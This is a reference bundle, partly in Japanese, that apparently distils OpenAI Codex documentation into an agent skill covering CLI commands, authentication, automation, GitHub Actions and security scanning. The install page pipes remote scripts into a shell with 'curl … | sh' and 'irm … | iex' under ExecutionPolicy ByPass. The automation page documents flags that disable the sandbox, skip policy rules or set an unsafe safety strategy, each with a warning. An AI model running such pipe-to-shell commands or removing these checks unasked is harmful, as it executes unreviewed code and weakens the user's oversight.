Run repeatable workflows and verify the result.
```text
I need to run this workflow:
Goal: [what should happen]
Inputs: [CSV, Google Sheet, list, ticket, or file path]
Approval or policy source: [Slack thread, doc, ticket, or none]
Runner: [script, API, CLI, skill, or manual app workflow]
Verification artifact: [result CSV, log, dashboard, screenshot, or other proof]
Please:
- inspect the inputs and ask only for missing required fields
- normalize dates, amounts, owners, and IDs before running the workflow
- run a dry run first when the workflow supports it
- run only the approved scope
- record one success or failure row per item
- retry transient failures once without restarting successful rows
- summarize totals, failures, retries, and verification artifacts
Pause before irreversible actions or scope changes.
```
## Notes
- Source: OpenAI Codex use-case (learn.chatgpt.com). `suggestedModel: gpt-6.1-sol`, `suggestedEffort: medium`
- Best for: operations tasks with structured inputs, explicit approval, and an auditable result, such as access updates, invite batches, or quota changes
- Related: Plugins (https://learn.chatgpt.com/codex/plugins), Scheduled tasks (https://learn.chatgpt.com/codex/automations), Agent skills (https://learn.chatgpt.com/codex/build-skills)
scripts/auth.md
# Auth
Sign in, check status, and sign out of the Codex CLI.
## Sign in with ChatGPT
```bash
codex login
```
Opens the browser-based ChatGPT sign-in flow. Uses your ChatGPT workspace credentials and follows enterprise permissions/data policies.
## Sign in with an API key
```bash
printenv OPENAI_API_KEY | codex login --with-api-key
```
Uses usage-based access through your OpenAI Platform account at standard API rates.
## Device code authentication (headless environments)
```bash
codex login --device-auth
```
For environments without a browser (e.g. remote servers, containers).
## Check authentication status
```bash
codex login status
```
## Sign out
```bash
codex logout
```
> **警告**: Credentials are cached locally at `~/.codex/auth.json`. Treat this file like a password — it contains access tokens. Don't commit it, paste it into tickets, or share it in chat.
scripts/automation.md
# Automation
Run Codex headlessly in scripts, CI pipelines, and GitHub Actions.
## Basic non-interactive invocation
```bash
codex exec "summarize the repository structure and list the top 5 risky areas"
```
Progress streams to stderr while only the final agent message goes to stdout, so output pipes cleanly.
```bash
codex exec "generate release notes for the last 10 commits" | tee release-notes.md
```
## Sandbox / permission levels
`codex exec` defaults to read-only mode. Use the least permission needed for the workflow.
```bash
codex exec --sandbox workspace-write "<task>"
```
> **警告**: `--sandbox danger-full-access` removes filesystem/network restrictions. Use only in isolated, trusted environments.
```bash
codex exec --sandbox danger-full-access "<task>"
```
## Replace `--full-auto` and control config in automation
`--full-auto` is no longer supported. Use `--sandbox workspace-write`, or `--approve-for-me` to route approval requests through automatic review with the workspace-write sandbox.
```bash
codex exec --approve-for-me "<task>"
```
Skip loading `$CODEX_HOME/config.toml` for a run (`--ignore-user-config`), and skip user and project execpolicy `.rules` files (`--ignore-rules`) in a controlled automation environment:
```bash
codex exec --ignore-user-config --ignore-rules "<task>"
```
## Machine-readable output
```bash
codex exec --json "summarize the repo structure" | jq
```
JSON Lines output captures all events for script consumption.
```bash
codex exec "Extract project metadata" \
--output-schema ./schema.json \
-o ./project-metadata.json
```
## Piping input into Codex
```bash
curl -s https://jsonplaceholder.typicode.com/comments \
| codex exec "format the top 20 items into a markdown table" \
> table.md
```
```bash
cat prompt.txt | codex exec -
```
Reads the prompt from stdin.
## Resume a session non-interactively
```bash
codex exec resume --last "fix the race conditions you found"
```
> **警告**: For CI/CD, prefer the Codex GitHub Action over passing API keys directly, and never set credentials as job-level environment variables in workflows that check out repository code.
## GitHub Action: PR review workflow
`openai/codex-action@v1` installs the Codex CLI, starts the Responses API proxy when given an API key, and runs `codex exec` under the permissions specified. This example workflow (from the official docs) reviews new pull requests and posts the result as a comment.
```yaml
name: Codex pull request review
on:
pull_request:
types: [opened, synchronize, reopened]
jobs:
codex:
runs-on: ubuntu-latest
permissions:
contents: read
outputs:
final_message: ${{ steps.run_codex.outputs.final-message }}
steps:
- uses: actions/checkout@v5
with:
ref: refs/pull/${{ github.event.pull_request.number }}/merge
fetch-depth: 0
persist-credentials: false
- name: Run Codex
id: run_codex
uses: openai/codex-action@v1
with:
openai-api-key: ${{ secrets.OPENAI_API_KEY }}
prompt-file: .github/codex/prompts/review.md
output-file: codex-output.md
post_feedback:
runs-on: ubuntu-latest
needs: codex
if: needs.codex.outputs.final_message != ''
permissions:
issues: write
pull-requests: write
steps:
- name: Post Codex feedback
uses: actions/github-script@v7
with:
github-token: ${{ github.token }}
script: |
await github.rest.issues.createComment({
owner: context.repo.owner,
repo: context.repo.repo,
issue_number: context.payload.pull_request.number,
body: process.env.CODEX_FINAL_MESSAGE,
});
env:
CODEX_FINAL_MESSAGE: ${{ needs.codex.outputs.final_message }}
```
Replace `.github/codex/prompts/review.md` with your own prompt file, or use the `prompt` input for inline text instead of `prompt-file`.
Prerequisites:
- Store the OpenAI API key as a GitHub secret (e.g. `OPENAI_API_KEY`) and reference it in the workflow
- Run the job on a Linux or macOS runner; Windows requires `safety-strategy: unsafe`
- Check out the repository before invoking the action
Key inputs that map to `codex exec` options:
| Input | Purpose |
| --- | --- |
| `prompt` / `prompt-file` | Inline instructions or a repository path to the task text (choose one) |
| `codex-args` | Extra CLI flags as a JSON array (`["--ephemeral"]`) or shell string (`--profile ci`) |
| `model` / `effort` | Codex agent configuration; leave empty for defaults |
| `sandbox` | `workspace-write`, `read-only`, or `danger-full-access` |
| `output-file` | Save the final Codex message to disk |
| `codex-version` | Pin a specific CLI release |
| `codex-home` | Point to a shared Codex home directory to reuse config/MCP setups |
Privilege controls:
| Input | Purpose |
| --- | --- |
| `safety-strategy` | Default `drop-sudo` removes `sudo` before running Codex (irreversible for the job). Windows requires `unsafe` |
| `unprivileged-user` | Pairs with `codex-user` to run Codex as a specific unprivileged account |
| `allow-users` / `allow-bots` | Restrict who can trigger the workflow (default: write-access users only) |
> **警告**: Don't rely on `sandbox: read-only` alone to protect secrets — it still runs with elevated privileges unless combined with `safety-strategy`. Never leave `safety-strategy: unsafe` set on multi-tenant runners.
The action emits the final Codex message through the `final-message` output.
## Codex Security scan in CI
Install `@openai/codex-security` outside the repository checkout, then run a diff scan and export SARIF for upload.
```bash
npm install \
--prefix "$RUNNER_TEMP/codex-security" \
--ignore-scripts \
--no-audit \
--no-fund \
@openai/codex-security@0.1.3
```
`npm install` does not define `CODEX_SECURITY_BIN` — set it explicitly to the installed binary path before invoking it (matches the CI example in `references/security/cli-ci.md`).
```bash
CODEX_SECURITY_BIN="$RUNNER_TEMP/codex-security/node_modules/.bin/codex-security"
"$CODEX_SECURITY_BIN" scan . \
--diff "$BASE_REVISION" \
--head "$HEAD_SHA" \
--auth api-key \
--output-dir "$SCAN_DIR" \
--json > "$RUNNER_TEMP/codex-security.json"
```
```bash
"$CODEX_SECURITY_BIN" export "$SCAN_DIR" \
--export-format sarif \
--source-root "$GITHUB_WORKSPACE" \
--output "$SARIF_FILE"
```
### Enforce a severity policy
```bash
--fail-on-severity high
```
Supported thresholds: `critical`, `high`, `medium`, `low`.
### Exit codes
| Code | Meaning |
| --- | --- |
| `0` | Scan completed successfully, policy passed |
| `1` | Finding detected at or above the severity threshold |
| `2` | Input/runtime error or incomplete coverage |
| `130` | Ctrl-C interrupt |
| `143` | SIGTERM termination |
Requires Node.js 22+, Python 3.10+, the `@openai/codex-security` package installed outside the repository, and an OpenAI API key stored as `CODEX_SECURITY_API_KEY`.
scripts/cli-basics.md
# CLI Basics
Core interactive and session-management commands for the Codex terminal client.
## Start an interactive session
```bash
codex
```
Run from a project directory to start the interactive TUI. After authenticating, describe the task in natural language (e.g. "Tell me about this project").
## Run a single prompt non-interactively
```bash
codex exec "summarize the repository structure and list the top 5 risky areas"
```
`exec` (alias: `e`) runs Codex from scripts without the interactive interface. See `automation.md` for flags and CI usage.
## Resume a previous session
```bash
codex resume
```
Reopens recent repository chats interactively.
```bash
codex exec resume --last "fix the race conditions you found"
```
Resumes the most recent `exec` session non-interactively with a follow-up prompt.
## Review code changes
```bash
codex review
```
Reviews code changes before committing.
## Model Context Protocol (MCP) integration
```bash
codex mcp
```
Integrate external tools via MCP.
## Environment diagnostics
```bash
codex doctor
```
## Open the agents command center
```bash
codex agents
```
Opens the command center to browse chats and switch between agents on a shared server. Use `--remote <URL>` to connect to a remote server and `--cd <DIR>` to set the directory for new remote tasks. `codex agents` doesn't support `--no-daemon`.
## Queue a message for an existing session
```bash
codex queue --thread <SESSION_ID> --message "Run the remaining checks"
```
`--thread` accepts a UUID or exact session name (use a UUID when sessions share the same name). Also accepts `--remote` and `--remote-auth-token-env`; image attachments aren't supported.
## Update the CLI
```bash
codex update
```
Checks for and applies a Codex CLI update when the installed release supports self-update. Debug builds print a message telling you to install a release build instead.
## Notable CLI features
- `codex resume` — reopen recent repository chats
- `codex --image` — include screenshots or diagrams as input
- `codex --search` — enable live web search capability
- `codex mcp` — integrate external tools via Model Context Protocol
- `/permissions` (in-session slash command) — configure file editing and command execution boundaries
## Other documented subcommands
```
codex app-server
codex remote-control
codex remote-control start
codex remote-control stop
codex remote-control pair
codex app
codex debug app-server send-message-v2
codex debug models
codex debug prompt-input
codex apply
codex archive <SESSION>
codex unarchive <SESSION>
codex delete <SESSION>
codex delete <SESSION_UUID> --force
codex cloud
codex cloud exec
codex cloud list
codex completion
codex features
codex execpolicy
codex execpolicy check
codex fork
codex login
codex login status
codex logout
codex plugin
codex plugin add
codex plugin list
codex plugin remove
codex plugin marketplace
codex plugin marketplace add
codex plugin marketplace list
codex sandbox
codex update
codex agents
codex queue
```
Listed in the official command reference (see `developer-commands.md?surface=cli`); flag details are rendered as interactive `<ConfigTable>` components that are not present in the Markdown export. Run `codex <command> --help` for options. 要確認: exact flags/arguments per subcommand.
`codex mcp-server` (and the standalone `codex-mcp-server` binary) was removed — use `codex app-server` instead (see the Codex app server docs).
`codex cloud`, `codex execpolicy`, and `codex remote-control` are labeled Experimental in the command overview (`codex execpolicy` is described as in preview). `codex login`, `codex login status`, and `codex logout` are documented in detail in `auth.md` (kept here only for completeness of the subcommand list).
`codex app` (stable) launches the ChatGPT desktop app and is macOS/Windows only; the subcommand is not compiled on other platforms, where `app` instead falls through to prompt interpretation. Distinct from `codex app-server` above.
## Slash commands (in-session)
Type these during an interactive `codex` session:
```
/permissions
/ide
/keymap
/vim
/setup-default-sandbox
/agent
/subagents
/apps
/plugins
/hooks
/clear
/rename
/archive
/delete
/compact
/copy
/diff
/exit
/experimental
/approve
/memories
/skills
/import
/feedback
/init
/logout
/mcp
/mention
/model
/fast
/plan
/goal
/personality
/ps
/stop
/fork
/app
/side
/btw
/raw
/resume
/new
/quit
/review
/status
/usage
/debug-config
/statusline
/title
/theme
/pets
/pet
```
scripts/config.md
# Config
Customize the Codex terminal interface: shell completions, editor, and themes.
## Shell completions (zsh)
```bash
codex completion zsh
```
Prints the zsh completion script.
```bash
eval "$(codex completion zsh)"
```
Loads completions into the current shell session.
```bash
autoload -Uz compinit && compinit
eval "$(codex completion zsh)"
```
Full setup when `compinit` has not already been run (e.g. in `~/.zshrc`).
## Config home and files
- `$CODEX_HOME/config.toml` — main configuration file
- `$CODEX_HOME/themes` — custom theme directory (`.tmTheme` files)
## Environment variables
| Variable | Purpose |
| --- | --- |
| `CODEX_HOME` | Overrides the default Codex config directory |
| `VISUAL` | External editor used for longer prompts |
| `EDITOR` | Fallback external editor |
## Editor shortcut
<kbd>Ctrl</kbd>+<kbd>G</kbd> opens the external editor (`$VISUAL` / `$EDITOR`) for composing longer prompts. <kbd>Tab</kbd> triggers shell completion inside the CLI.
scripts/install.md
# Install
Install or update the Codex CLI binary on macOS, Linux, or Windows.
## macOS / Linux standalone installer
```bash
curl -fsSL https://chatgpt.com/codex/install.sh | sh
```
## Windows standalone installer
```powershell
powershell -ExecutionPolicy ByPass -c "irm https://chatgpt.com/codex/install.ps1 | iex"
```
## npm
```bash
npm install -g @openai/codex
```
## Homebrew (macOS)
```bash
brew install --cask codex
```
## Update
Re-run the same command used for the original install (the `curl | sh` installer, the PowerShell installer, `npm install -g @openai/codex`, or `brew upgrade --cask codex`) to update to the latest release.
```bash
codex update
```
Checks for and applies a CLI update when the installed release supports self-update. Debug builds print a message telling you to install a release build instead.
## Environment diagnostics
```bash
codex doctor
```
Runs environment diagnostics for the CLI install.
scripts/README.md
# scripts
| Name | Description | Path |
| --- | --- | --- |
| Auth | Sign in, check status, and sign out of the Codex CLI. | [auth.md](./auth.md) |
| Automation | Run Codex headlessly in scripts, CI pipelines, and GitHub Actions. | [automation.md](./automation.md) |
| CLI Basics | Core interactive and session-management commands for the Codex terminal client. | [cli-basics.md](./cli-basics.md) |
| Config | Customize the Codex terminal interface: shell completions, editor, and themes. | [config.md](./config.md) |
| Install | Install or update the Codex CLI binary on macOS, Linux, or Windows. | [install.md](./install.md) |
SKILL.md
---
name: openai-codex
description: >
OpenAI Codex (CLI / IDE / cloud / ChatGPT desktop app) リファレンス。
GPT-6 系, Fast / Ultrafast mode, codex exec, スラッシュコマンド, prompting, AGENTS.md, rules, subagents,
approvals, auto-review, sandbox, permission profiles, profiles, config.toml, 環境変数, roles, MCP 設定,
GitHub Action, Codex SDK, App Server (JSON-RPC), Agents SDK 連携, Codex skills (.agents/skills), plugins,
scheduled tasks, Browser, Computer Use, cloud / local / worktree 環境, git worktrees, Record & Replay, cloud 委譲,
GitHub / GitLab / Linear / Slack 連携, administration, provisioning, analytics API, compliance API, LLM gateway,
Codex Security 脆弱性スキャン (SARIF), deep scan, triage, findings, threat model, security hardening。
user-invocable: false
---
# openai-codex
OpenAI Codex — `codex` CLI / IDE 拡張 / ChatGPT desktop app(公式表記は Codex in the ChatGPT desktop app)/ cloud からなる OpenAI 公式のコーディングエージェント製品。
対象は learn.chatgpt.com/docs の取得日 2026-10-16 時点(URL に版なし。対象モデル世代は GPT-6 系: gpt-6-astra / gpt-6.1-sol / gpt-6-sol / gpt-6-luna)。
CLI・IDE・desktop app・cloud への導入、CLI / IDE / desktop app のコマンドと設定、AGENTS.md/rules/subagents/memories によるエージェント設定、
Fast / Ultrafast mode、config.toml/MCP 設定、approvals・sandbox・GitHub Action・Codex SDK・App Server による自動化、
plugins・Codex skills 作成・scheduled tasks・Browser・Computer Use・web search による拡張、
ワークスペース administration(LLM gateway・service accounts・Agent Security 含む)、
Codex Security による脆弱性スキャン・修復、cloud/local/worktree 環境の切り替えと Record & Replay、
GitHub・GitLab・Linear・Slack との連携・code review をカバーする。
`codex mcp-server` は削除済みで、App Server(JSON-RPC)が後継。`references/security-automation/agents-sdk-mcp-server.md` は `codex mcp-server` 削除と App Server への移行手順をまとめたページ(旧 Agents SDK 連携例はサポート終了)。
本スキルは OpenAI Codex の公式ドキュメントを蒸留したものであり、本リポジトリが対象とする Claude Code の
`.claude/` 体系とは別物である。`AGENTS.md` / `rules` / `subagents` など用語が重なる箇所があるが、
設定ファイルの形式・置き場所・意味は Claude Code の `CLAUDE.md` / `.claude/rules/` / `.claude/agents/` と互換性がない
(AGENTS.md・rules・subagents の詳細は `references/agent-configuration/README.md` の索引から各ページを参照)。
## ディレクトリ構成
```text
skills/openai-codex/
SKILL.md
references/
getting-started/
README.md
cli.md
cli-customization.md
ide.md
desktop-app.md
windows-app.md
linux-app.md
cloud.md
cloud-internet-access.md
remote.md
remote-connections.md
models.md
model-selection.md
codex-micro.md
best-practices.md
troubleshooting.md
commands/
README.md
cli-global-flags.md
cli-subcommands.md
cli-slash-commands.md
ide-commands.md
ide-slash-commands.md
ide-settings.md
app-commands.md
app-settings.md
agent-configuration/
README.md
agents-md.md
rules.md
hooks.md
speed.md
subagents.md
prompting.md
memories.md
import.md
config/
README.md
config-basics.md
config-advanced.md
config-reference.md
config-sample.md
environment-variables.md
mcp-config.md
amazon-bedrock.md
security-automation/
README.md
agent-approvals-security.md
sandbox.md
permission-profiles.md
permission-modes.md
auto-review.md
windows-sandbox.md
windows-wsl.md
non-interactive-mode.md
github-action.md
codex-sdk.md
app-server.md
agents-sdk-mcp-server.md
administration/
README.md
administration.md
admin-rollout-guide.md
work-admin-faq.md
usage-limits.md
groups-and-provisioning.md
roles-and-workspace-permissions.md
access-tokens.md
service-accounts.md
analytics-api.md
compliance-api.md
governance.md
agent-security.md
workspace-analytics.md
workspace-model-availability.md
plugin-controls.md
plugin-management.md
skill-controls.md
managed-configuration.md
manage-app-updates.md
windows-deployment.md
authentication.md
connect-to-a-gateway.md
roll-out-a-gateway.md
gateway-compatibility.md
sign-in-with-chatgpt-through-a-gateway.md
bedrock-through-litellm.md
security/
README.md
overview.md
cloud-setup.md
cloud-faq.md
threat-model.md
plugin-quickstart.md
workbench.md
scans.md
deep-scans.md
code-changes.md
security-review.md
triage-backlog.md
fix-findings.md
export-findings.md
vulnerability-reports.md
security-hardening.md
plugin-changelog.md
cli-quickstart.md
cli-reference.md
cli-faq.md
cli-bulk-scans.md
cli-ci.md
cli-ci-gitlab.md
sdk.md
environments/
README.md
cloud-environments.md
cloud-environment.md
git-worktrees.md
local-environment.md
modes.md
extend/
README.md
plugins.md
build-skills.md
automations.md
browser.md
computer-use.md
web-search.md
record-and-replay.md
third-party/
README.md
github.md
gitlab.md
code-review.md
linear.md
slack.md
samples/
README.md
follow-goals.md
github-code-reviews.md
codebase-onboarding.md
automation-bug-triage.md
slack-coding-tasks.md
reusable-codex-skills.md
refactor-your-codebase.md
code-migrations.md
update-documentation.md
agent-friendly-clis.md
verified-operations-workflows.md
ai-app-evals.md
scan-code-changes-for-security.md
deep-security-scan.md
remediate-vulnerability-backlog.md
dependency-incident-audits.md
ios-simulator-bug-debugging.md
scripts/
README.md
install.md
auth.md
cli-basics.md
automation.md
config.md
```
## 探索手順
タスクからカテゴリを引き、カテゴリの README.md で目的のページを特定する:
1. 下記マッピング表でタスクに対応するカテゴリを探す
2. そのカテゴリの `references/{category}/README.md` を参照して目的のページを特定する
3. 該当ページの `.md` を Read して詳細を確認する
## タスク → カテゴリ マッピング
| タスク | カテゴリ | 参照 README |
|--------|---------|------------|
| Codex CLI / IDE 拡張 / desktop app / cloud の導入・違いを知りたい | getting-started | [references/getting-started/README.md](references/getting-started/README.md) |
| CLI の出力・エイリアスをカスタマイズしたい、desktop app(Windows / Linux)・リモート接続から使いたい | getting-started | [references/getting-started/README.md](references/getting-started/README.md) |
| モデル選択(GPT-6 系・Codex Micro 含む)・reasoning effort・ベストプラクティス・トラブルシュートを知りたい | getting-started | [references/getting-started/README.md](references/getting-started/README.md) |
| CLI のフラグ・サブコマンド・スラッシュコマンド、IDE / desktop app のコマンドと設定を引きたい | commands | [references/commands/README.md](references/commands/README.md) |
| AGENTS.md / prompting / subagents / memories ワークフローを設定したい | agent-configuration | [references/agent-configuration/README.md](references/agent-configuration/README.md) |
| サンドボックス外で実行するコマンドを rules(`.rules` / Starlark `prefix_rule`)で許可したい、hooks でエージェントのライフサイクルにフックしたい | agent-configuration | [references/agent-configuration/README.md](references/agent-configuration/README.md) |
| Fast / Ultrafast mode で速度を切り替えたい、Claude Code / Cursor の設定を取り込みたい(import) | agent-configuration | [references/agent-configuration/README.md](references/agent-configuration/README.md) |
| config.toml のキー・プロファイル・MCP サーバー設定、Amazon Bedrock 経由の利用を知りたい | config | [references/config/README.md](references/config/README.md) |
| 環境変数の一覧を知りたい | config | [references/config/README.md](references/config/README.md) |
| approvals / sandbox / permission profiles / permission modes を設計したい | security-automation | [references/security-automation/README.md](references/security-automation/README.md) |
| codex exec を CI/GitHub Action/Codex SDK から自動実行したい、Windows/WSL 上のサンドボックスを設定したい | security-automation | [references/security-automation/README.md](references/security-automation/README.md) |
| App Server でカスタムクライアントを作りたい(旧 MCP server からの移行) | security-automation | [references/security-automation/README.md](references/security-automation/README.md) |
| ワークスペースの roles / provisioning / analytics / compliance を管理したい | administration | [references/administration/README.md](references/administration/README.md) |
| Enterprise ロールアウト・アクセストークン運用を知りたい | administration | [references/administration/README.md](references/administration/README.md) |
| LLM gateway 経由の利用・service accounts・Agent Security・plugin 管理を設定したい | administration | [references/administration/README.md](references/administration/README.md) |
| リポジトリの脆弱性スキャン・トリアージ・修復(Codex Security)を行いたい、PR/差分のセキュリティレビューをしたい | security | [references/security/README.md](references/security/README.md) |
| 検出結果の SARIF/CSV/JSON エクスポート・CI(GitLab 含む)連携・threat model 調整をしたい | security | [references/security/README.md](references/security/README.md) |
| Cloud / Local / Worktree 環境の設定・切り替え、git worktree でチャットを分離したい | environments | [references/environments/README.md](references/environments/README.md) |
| 新 Cloud environments と Legacy の違いを知りたい | environments | [references/environments/README.md](references/environments/README.md) |
| plugins・Codex skills 作成(.agents/skills)・scheduled tasks(automations)・Browser・Computer Use・web search を使いたい | extend | [references/extend/README.md](references/extend/README.md) |
| ワークフローを録画してスキル化したい(Record & Replay) | extend | [references/extend/README.md](references/extend/README.md) |
| GitHub / GitLab / Linear / Slack(ChatGPT in Slack)から Codex を呼び出したい | third-party | [references/third-party/README.md](references/third-party/README.md) |
| GitLab MR レビュー・code review 全般を設定したい | third-party | [references/third-party/README.md](references/third-party/README.md) |
| 典型的な使い方を知りたい | samples | [samples/README.md](samples/README.md) |
| インストール・CLI コマンドを知りたい | scripts | [scripts/README.md](scripts/README.md) |